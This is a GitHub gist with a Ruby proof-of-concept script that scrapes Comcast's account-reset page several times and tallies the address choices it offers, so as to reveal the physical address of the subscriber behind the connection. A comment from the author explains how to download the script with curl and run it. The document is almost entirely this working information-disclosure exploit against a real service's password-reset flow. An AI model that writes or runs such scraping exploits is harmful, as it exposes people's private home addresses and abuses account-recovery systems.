Skip to content

Instantly share code, notes, and snippets.

@acidtib
Last active December 10, 2015 05:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save acidtib/4388650 to your computer and use it in GitHub Desktop.
Save acidtib/4388650 to your computer and use it in GitHub Desktop.
require 'mechanize'
puts "Searching for your physical address..."
test_results = {}
agent = Mechanize.new { |agent|
agent.user_agent = 'Comcast Physical Address Ruby Script: https://gist.github.com/4388650'
}
3.times {
page = agent.get("https://login.comcast.net/myaccount/reset")
page.forms.last.radiobuttons.each do |button|
if test_results[button.value].nil?
test_results[button.value]=1
else
test_results[button.value]+=1
end
end
sleep(1)
}
max = 0
result = nil
test_results.each do |key, val|
if val > max && val != "None of the above"
max = val
result = key
end
end
puts "The physical address for this computer is: #{result}"
@acidtib
Copy link
Author

acidtib commented Dec 27, 2012

If you don't already have mechanize: gem install mechanize

curl https://gist.github.com/raw/4388650/ce45dd60feccf98942e3349120735eeb3a98156e/physical_address_vulnerability.rb > ~/physical_address_vulnerability.rb
ruby ~/physical_address_vulnerability.rb

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment